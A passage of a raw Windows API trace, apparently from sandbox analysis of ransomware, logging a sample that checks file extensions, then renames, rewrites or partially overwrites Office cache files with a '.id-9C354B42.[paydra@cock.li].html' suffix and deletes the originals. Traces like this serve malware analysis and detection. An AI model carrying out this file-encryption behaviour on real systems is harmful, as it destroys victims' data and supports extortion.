Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.188] lstrlenW (lpString=".1cd") returned 4 [0045.188] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.188] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.189] lstrlenW (lpString=".jpg") returned 4 [0045.189] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.189] lstrlenW (lpString=".doc") returned 4 [0045.189] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0045.189] lstrlenW (lpString=".docx") returned 5 [0045.189] lstrcmpiW (lpString1=".docx", lpString2="t.msi") returned -1 [0045.189] lstrlenW (lpString=".pdf") returned 4 [0045.189] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0045.189] lstrlenW (lpString=".xls") returned 4 [0045.189] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0045.189] lstrlenW (lpString=".xlsx") returned 5 [0045.189] lstrcmpiW (lpString1=".xlsx", lpString2="t.msi") returned -1 [0045.189] lstrlenW (lpString=".ppt") returned 4 [0045.189] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0045.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.189] lstrlenW (lpString=".zip") returned 4 [0045.189] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0045.189] lstrlenW (lpString=".rar") returned 4 [0045.189] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0045.189] lstrlenW (lpString=".bz2") returned 4 [0045.189] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0045.189] lstrlenW (lpString=".7z") returned 3 [0045.189] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0045.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.189] lstrlenW (lpString=".dbf") returned 4 [0045.189] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0045.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.190] lstrlenW (lpString=".1cd") returned 4 [0045.190] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0045.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 79 [0045.190] lstrlenW (lpString=".jpg") returned 4 [0045.190] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0045.190] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0045.190] lstrlenW (lpString="ose.exe") returned 7 [0045.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.190] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=174440) returned 1 [0045.190] CloseHandle (hObject=0x198) returned 1 [0045.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0045.190] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.190] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.191] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.191] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x210 [0045.191] GetLastError () returned 0x0 [0045.191] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0045.195] WriteFile (in: hFile=0x210, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0045.199] ReadFile (in: hFile=0x198, lpBuffer=0x3d90020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0045.199] WriteFile (in: hFile=0x210, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0045.199] SetEndOfFile (hFile=0x210) returned 1 [0045.199] CloseHandle (hObject=0x210) returned 1 [0045.200] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.200] SetEndOfFile (hFile=0x198) returned 1 [0045.201] CloseHandle (hObject=0x198) returned 1 [0045.201] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.202] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.202] lstrlenW (lpString=".doc") returned 4 [0045.202] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.202] lstrlenW (lpString=".docx") returned 5 [0045.202] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0045.202] lstrlenW (lpString=".pdf") returned 4 [0045.202] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.202] lstrlenW (lpString=".xls") returned 4 [0045.202] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.202] lstrlenW (lpString=".xlsx") returned 5 [0045.202] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0045.202] lstrlenW (lpString=".ppt") returned 4 [0045.202] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.202] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.202] lstrlenW (lpString=".zip") returned 4 [0045.202] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.202] lstrlenW (lpString=".rar") returned 4 [0045.202] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.202] lstrlenW (lpString=".bz2") returned 4 [0045.202] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.202] lstrlenW (lpString=".7z") returned 3 [0045.203] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString=".dbf") returned 4 [0045.203] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString=".1cd") returned 4 [0045.203] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString=".jpg") returned 4 [0045.203] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString=".doc") returned 4 [0045.203] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0045.203] lstrlenW (lpString=".docx") returned 5 [0045.203] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0045.203] lstrlenW (lpString=".pdf") returned 4 [0045.203] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString=".xls") returned 4 [0045.203] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString=".xlsx") returned 5 [0045.203] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0045.203] lstrlenW (lpString=".ppt") returned 4 [0045.203] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.203] lstrlenW (lpString=".zip") returned 4 [0045.203] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString=".rar") returned 4 [0045.203] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0045.203] lstrlenW (lpString=".bz2") returned 4 [0045.203] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0045.203] lstrlenW (lpString=".7z") returned 3 [0045.204] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.204] lstrlenW (lpString=".dbf") returned 4 [0045.204] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.204] lstrlenW (lpString=".1cd") returned 4 [0045.204] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0045.204] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0045.204] lstrlenW (lpString=".jpg") returned 4 [0045.204] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0045.204] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1 [0045.204] lstrlenW (lpString="osetup.dll") returned 10 [0045.204] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.204] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=7378792) returned 1 [0045.204] CloseHandle (hObject=0x198) returned 1 [0045.204] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll")) returned 0x2020 [0045.205] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0045.205] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html")) returned 1 [0045.205] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\osetup.dll.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0045.205] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0045.205] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.205] ReadFile (in: hFile=0x198, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.209] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.209] ReadFile (in: hFile=0x198, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.212] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0045.212] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0045.212] ReadFile (in: hFile=0x198, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0045.619] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0045.619] WriteFile (in: hFile=0x198, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0100, lpOverlapped=0x0) returned 1 [0045.634] SetEndOfFile (hFile=0x198) returned 1 [0045.634] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3f61890 [0045.638] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.638] WriteFile (in: hFile=0x198, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.639] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x2587cd, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.639] WriteFile (in: hFile=0x198, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.641] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x6c9768, lpNewFilePointer=0x0, dwMoveMethod=0x329fc7c | out: lpNewFilePointer=0x0) returned 1 [0045.641] WriteFile (in: hFile=0x198, lpBuffer=0x3f61890*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x329fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f61890*, lpNumberOfBytesWritten=0x329fc88*=0x40000, lpOverlapped=0x0) returned 1 [0045.642] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f61890 | out: hHeap=0x4b0000) returned 1 [0045.642] CloseHandle (hObject=0x198) returned 1 [0045.643] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0045.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.643] lstrlenW (lpString=".doc") returned 4 [0045.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString=".docx") returned 5 [0045.643] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0045.643] lstrlenW (lpString=".pdf") returned 4 [0045.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString=".xls") returned 4 [0045.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString=".xlsx") returned 5 [0045.643] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0045.643] lstrlenW (lpString=".ppt") returned 4 [0045.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.643] lstrlenW (lpString=".zip") returned 4 [0045.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString=".rar") returned 4 [0045.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.643] lstrlenW (lpString=".bz2") returned 4 [0045.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.644] lstrlenW (lpString=".7z") returned 3 [0045.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString=".dbf") returned 4 [0045.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString=".1cd") returned 4 [0045.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString=".jpg") returned 4 [0045.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString=".doc") returned 4 [0045.644] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString=".docx") returned 5 [0045.644] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0045.644] lstrlenW (lpString=".pdf") returned 4 [0045.644] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString=".xls") returned 4 [0045.644] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString=".xlsx") returned 5 [0045.644] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0045.644] lstrlenW (lpString=".ppt") returned 4 [0045.644] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.644] lstrlenW (lpString=".zip") returned 4 [0045.644] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString=".rar") returned 4 [0045.644] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0045.644] lstrlenW (lpString=".bz2") returned 4 [0045.645] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0045.645] lstrlenW (lpString=".7z") returned 3 [0045.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0045.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.645] lstrlenW (lpString=".dbf") returned 4 [0045.645] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0045.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.645] lstrlenW (lpString=".1cd") returned 4 [0045.645] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0045.645] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\osetup.dll") returned 73 [0045.645] lstrlenW (lpString=".jpg") returned 4 [0045.645] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0045.902] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0045.903] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0045.903] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.646] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=222948913) returned 1 [0046.646] CloseHandle (hObject=0x160) returned 1 [0046.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab")) returned 0x2020 [0046.646] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.646] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0046.647] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW2.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww2.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.647] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.647] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.647] ReadFile (in: hFile=0x160, lpBuffer=0x3d90058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3d90058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.654] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x46dfa10, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.654] ReadFile (in: hFile=0x160, lpBuffer=0x3dd0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3dd0058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.660] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x329fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.660] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xd45ee31, lpNewFilePointer=0x0, dwMoveMethod=0x329fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.660] ReadFile (in: hFile=0x160, lpBuffer=0x3e10058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x329fc38, lpOverlapped=0x0 | out: lpBuffer=0x3e10058*, lpNumberOfBytesRead=0x329fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.675] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.675] WriteFile (in: hFile=0x160, lpBuffer=0x3d90020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x329fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d90020*, lpNumberOfBytesWritten=0x329fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0046.690] SetEndOfFile (hFile=0x160) returned 1 [0046.690] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec1058 [0047.199] SetFilePointerEx (in: hFile=0x160, 